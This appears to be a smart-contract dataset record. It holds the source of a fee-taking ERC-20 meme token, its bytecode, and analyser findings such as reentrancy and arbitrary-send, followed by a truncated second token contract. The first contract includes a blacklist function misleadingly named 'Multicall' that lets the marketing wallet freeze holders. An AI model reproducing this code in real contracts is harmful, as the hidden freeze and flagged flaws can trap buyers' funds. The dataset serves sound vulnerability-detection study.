uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event MarketingWalletUpdated(address _MarketingWallet);
event DevWalletUpdated(address _DevWallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable MarketingWallet, address payable DevWallet) {
_MarketingWallet = MarketingWallet;
_DevWallet = DevWallet;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketingWallet] = true;
_isExcludedFromFee[DevWallet] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (300 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_MarketingWallet.transfer(amount / 2);
_DevWallet.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 30000 * 10**9; // 3%
_maxHeldTokens = 30000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _MarketingWallet);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _MarketingWallet);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _MarketingWallet);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _MarketingWallet);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _MarketingWallet);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _MarketingWallet);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateMarketingWallet(address newAddress) external {
require(_msgSender() == _MarketingWallet);
_MarketingWallet = payable(newAddress);
emit MarketingWalletUpdated(_MarketingWallet);
}
function updateDevWallet(address newAddress) external {
require(_msgSender() == _DevWallet);
_DevWallet = payable(newAddress);
emit DevWalletUpdated(_DevWallet);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf91461059d578063db92dbb6146105b2578063dcb0e0ad146105c7578063dd62ed3e146105e7578063e8078d941461062d57600080fd5b8063a9059cbb14610532578063aacebbe314610552578063b2131f7d14610572578063c3c8cd801461058857600080fd5b80637a49cddb116100dc5780637a49cddb146104a55780638da5cb5b146104c557806394b8d8f2146104e357806395d89b411461050357600080fd5b8063590f897e146104455780636fc3eaec1461045b57806370a0823114610470578063715018a61461049057600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac5791461039e57806340b9a54b146103d757806345596e2e146103ed57806349bd5a5e1461040d57600080fd5b806327f3a72a1461032c578063313ce5671461034157806331c2d8471461036857806332d873d81461038857600080fd5b806318160ddd116101c157806318160ddd146102bc5780631816467f146102d65780631940d020146102f657806323b872dd1461030c57600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026a5780630b78f9c01461029a57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025d6040518060400160405280600a81526020016954617846726565496e7560b01b81525081565b60405161021e9190611bbb565b34801561027657600080fd5b5061028a610285366004611c35565b610642565b604051901515815260200161021e565b3480156102a657600080fd5b506102ba6102b5366004611c61565b610658565b005b3480156102c857600080fd5b5066038d7ea4c68000610214565b3480156102e257600080fd5b506102ba6102f1366004611c83565b6106db565b34801561030257600080fd5b50610214600f5481565b34801561031857600080fd5b5061028a610327366004611ca0565b610750565b34801561033857600080fd5b50610214610838565b34801561034d57600080fd5b50610356600981565b60405160ff909116815260200161021e565b34801561037457600080fd5b506102ba610383366004611cf7565b610848565b34801561039457600080fd5b5061021460105481565b3480156103aa57600080fd5b5061028a6103b9366004611c83565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e357600080fd5b50610214600b5481565b3480156103f957600080fd5b506102ba610408366004611dbc565b6108d4565b34801561041957600080fd5b50600a5461042d906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045157600080fd5b50610214600c5481565b34801561046757600080fd5b506102ba610998565b34801561047c57600080fd5b5061021461048b366004611c83565b6109c5565b34801561049c57600080fd5b506102ba6109e0565b3480156104b157600080fd5b506102ba6104c0366004611cf7565b610a54565b3480156104d157600080fd5b506000546001600160a01b031661042d565b3480156104ef57600080fd5b5060115461028a9062010000900460ff1681565b34801561050f57600080fd5b5061025d6040518060400160405280600381526020016254464960e81b81525081565b34801561053e57600080fd5b5061028a61054d366004611c35565b610b63565b34801561055e57600080fd5b506102ba61056d366004611c83565b610b70565b34801561057e57600080fd5b50610214600d5481565b34801561059457600080fd5b506102ba610bde565b3480156105a957600080fd5b506102ba610c14565b3480156105be57600080fd5b50610214610cad565b3480156105d357600080fd5b506102ba6105e2366004611de3565b610cc5565b3480156105f357600080fd5b50610214610602366004611e00565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063957600080fd5b506102ba610d42565b600061064f338484611087565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461067857600080fd5b600a82111561068657600080fd5b600a81111561069457600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6009546001600160a01b0316336001600160a01b0316146106fb57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f31bb1993faff4f8409d7baad771f861e093ef4ce2c92c6e0cb10b82d1c7324cb906020015b60405180910390a150565b60115460009060ff16801561077e57506001600160a01b03831660009081526004602052604090205460ff16155b80156107975750600a546001600160a01b038581169116145b156107e6576001600160a01b03831632146107e65760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f18484846111ab565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610820908490611e4f565b905061082d853383611087565b506001949350505050565b6000610843306109c5565b905090565b6008546001600160a01b0316336001600160a01b03161461086857600080fd5b60005b81518110156108d05760006006600084848151811061088c5761088c611e66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108c881611e7c565b91505061086b565b5050565b6000546001600160a01b031633146108fe5760405162461bcd60e51b81526004016107dd90611e95565b6008546001600160a01b0316336001600160a01b03161461091e57600080fd5b600081116109635760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107dd565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610745565b6008546001600160a01b0316336001600160a01b0316146109b857600080fd5b476109c28161181a565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a0a5760405162461bcd60e51b81526004016107dd90611e95565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610a7457600080fd5b60005b81518110156108d057600a5482516001600160a01b0390911690839083908110610aa357610aa3611e66565b60200260200101516001600160a01b031614158015610af4575060075482516001600160a01b0390911690839083908110610ae057610ae0611e66565b60200260200101516001600160a01b031614155b15610b5157600160066000848481518110610b1157610b11611e66565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b5b81611e7c565b915050610a77565b600061064f3384846111ab565b6008546001600160a01b0316336001600160a01b031614610b9057600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527fbf86feedee5b30c30a8243bd21deebb704d141478d39b1be04fe5ee739f214e790602001610745565b6008546001600160a01b0316336001600160a01b031614610bfe57600080fd5b6000610c09306109c5565b90506109c28161189f565b6000546001600160a01b03163314610c3e5760405162461bcd60e51b81526004016107dd90611e95565b60115460ff1615610c8b5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107dd565b6011805460ff1916600117905542601055651b48eb57e000600e819055600f55565b600a54600090610843906001600160a01b03166109c5565b6000546001600160a01b03163314610cef5760405162461bcd60e51b81526004016107dd90611e95565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610745565b6000546001600160a01b03163314610d6c5760405162461bcd60e51b81526004016107dd90611e95565b60115460ff1615610db95760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107dd565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610df4308266038d7ea4c68000611087565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e569190611eca565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ea3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec79190611eca565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f389190611eca565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f68816109c5565b600080610f7d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fe5573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061100a9190611ee7565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611063573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d09190611f15565b6001600160a01b0383166110e95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107dd565b6001600160a01b03821661114a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107dd565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661120f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107dd565b6001600160a01b0382166112715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107dd565b600081116112d35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107dd565b6001600160a01b03831660009081526006602052604090205460ff16156113485760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107dd565b600080546001600160a01b0385811691161480159061137557506000546001600160a01b03848116911614155b156117bb57600a546001600160a01b0385811691161480156113a557506007546001600160a01b03848116911614155b80156113ca57506001600160a01b03831660009081526004602052604090205460ff16155b156116575760115460ff166114215760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107dd565b60105442036114605760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107dd565b42601054610e106114719190611f32565b11156114eb57600f54611483846109c5565b61148d9084611f32565b11156114eb5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107dd565b6001600160a01b03831660009081526005602052604090206001015460ff16611553576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105461012c6115649190611f32565b111561163857600e548211156115bc5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107dd565b6115c742600f611f32565b6001600160a01b038416600090815260056020526040902054106116385760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107dd565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611671575060115460ff165b801561168b5750600a546001600160a01b03858116911614155b156117bb5761169b42600f611f32565b6001600160a01b0385166000908152600560205260409020541061170d5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107dd565b6000611718306109c5565b905080156117a45760115462010000900460ff161561179b57600d54600a546064919061174d906001600160a01b03166109c5565b6117579190611f4a565b6117619190611f69565b81111561179b57600d54600a5460649190611784906001600160a01b03166109c5565b61178e9190611f4a565b6117989190611f69565b90505b6117a48161189f565b4780156117b4576117b44761181a565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806117fd57506001600160a01b03841660009081526004602052604090205460ff165b15611806575060005b6118138585858486611a13565b5050505050565b6008546001600160a01b03166108fc611834600284611f69565b6040518115909202916000818181858888f1935050505015801561185c573d6000803e3d6000fd5b506009546001600160a01b03166108fc611877600284611f69565b6040518115909202916000818181858888f193505050501580156108d0573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118e3576118e3611e66565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561193c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119609190611eca565b8160018151811061197357611973611e66565b6001600160a01b0392831660209182029290920101526007546119999130911684611087565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119d2908590600090869030904290600401611f8b565b600060405180830381600087803b1580156119ec57600080fd5b505af1158015611a00573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a1f8383611a35565b9050611a2d86868684611a7c565b505050505050565b6000808315611a75578215611a4d5750600b54611a75565b50600c54601054611a6090610384611f32565b421015611a7557611a72600582611f32565b90505b9392505050565b600080611a898484611b59565b6001600160a01b0388166000908152600260205260409020549193509150611ab2908590611e4f565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ae2908390611f32565b6001600160a01b038616600090815260026020526040902055611b0481611b8d565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b4991815260200190565b60405180910390a3505050505050565b600080806064611b698587611f4a565b611b739190611f69565b90506000611b818287611e4f565b96919550909350505050565b30600090815260026020526040902054611ba8908290611f32565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611be857858101830151858201604001528201611bcc565b81811115611bfa576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146109c257600080fd5b8035611c3081611c10565b919050565b60008060408385031215611c4857600080fd5b8235611c5381611c10565b946020939093013593505050565b60008060408385031215611c7457600080fd5b50508035926020909101359150565b600060208284031215611c9557600080fd5b8135611a7581611c10565b600080600060608486031215611cb557600080fd5b8335611cc081611c10565b92506020840135611cd081611c10565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d0a57600080fd5b823567ffffffffffffffff80821115611d2257600080fd5b818501915085601f830112611d3657600080fd5b813581811115611d4857611d48611ce1565b8060051b604051601f19603f83011681018181108582111715611d6d57611d6d611ce1565b604052918252848201925083810185019188831115611d8b57600080fd5b938501935b82851015611db057611da185611c25565b84529385019392850192611d90565b98975050505050505050565b600060208284031215611dce57600080fd5b5035919050565b80151581146109c257600080fd5b600060208284031215611df557600080fd5b8135611a7581611dd5565b60008060408385031215611e1357600080fd5b8235611e1e81611c10565b91506020830135611e2e81611c10565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6157611e61611e39565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e8e57611e8e611e39565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611edc57600080fd5b8151611a7581611c10565b600080600060608486031215611efc57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f2757600080fd5b8151611a7581611dd5565b60008219821115611f4557611f45611e39565b500190565b6000816000190483118215151615611f6457611f64611e39565b500290565b600082611f8657634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fdb5784516001600160a01b031683529383019391830191600101611fb6565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220ae07c83d1d4296891daafe8cdf033639626d8c0f43a104a1399f532a3c4f52de64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,128 |
0x5639c005d87035010b5083cd22441078152a7f94
|
/**
*Submitted for verification at Etherscan.io on 2022-03-19
*/
/**
https://t.me/apelonerc
[email protected]@@@@@@@@@@@@@@@@@@@@~ ^@@@@@@@@@@@@@@@@@@@@@@. [email protected]@@@@@@@@@@@@@@@@@@@@^ [email protected]@@^ [email protected]@@@@@@@@@@@@@@@@@@@@: !&@@@&? &@@&
:?555555555555555557. .555555555555555555&@@@. :J5555555555555555Y7. [email protected]@@^ ^J5555555555555555Y!. [email protected]@@@&Y. &@@&
[email protected]@@. [email protected]@@^ #@@@@@@B^ &@@&
G&&&&&&&&&&&&&&&&&&&&&? :&&#&&&&&&&&&&&&&&@@@@& J&&&&&&&&&&&&&&&&&&&&&^ [email protected]@@^ B&&P :&&&~ #@@@?&@@@&7 &@@&
&@@@##############&@@@P ^@@@&###############G?. 7G#################P^ [email protected]@@^ @@@# [email protected]@@7 #@@& ^[email protected]@@@5. &@@&
&@@& [email protected]@@5 ^@@@? [email protected]@@^ &@@# ^@@@7 #@@& [email protected]@@@[email protected]@@&
&@@& [email protected]@@5 ^@@@? ?BGGGGGGGGGGGGGGGGGGGG: [email protected]@@#GGGGGGGGGGGGGGGGBJ &@@@GGGGGGGGGGGGGG#@@@7 #@@& 7#@@@@@&
#@@& [email protected]@@Y ^@@@7 [email protected]@@@@@@@@@@@@@@@@@&J [email protected]@@@@@@@@@@@@@@@@@@@G: &@@@@@@@@@@@@@@@@@@@@@7 [email protected]@& ^[email protected]@@&
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract APELON is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "APELON";
string private constant _symbol = "APELON";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xd4abc5376F30e8ecA61F7501e605063dD0c606c4);
address payable private _marketingAddress = payable(0xd4abc5376F30e8ecA61F7501e605063dD0c606c4);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
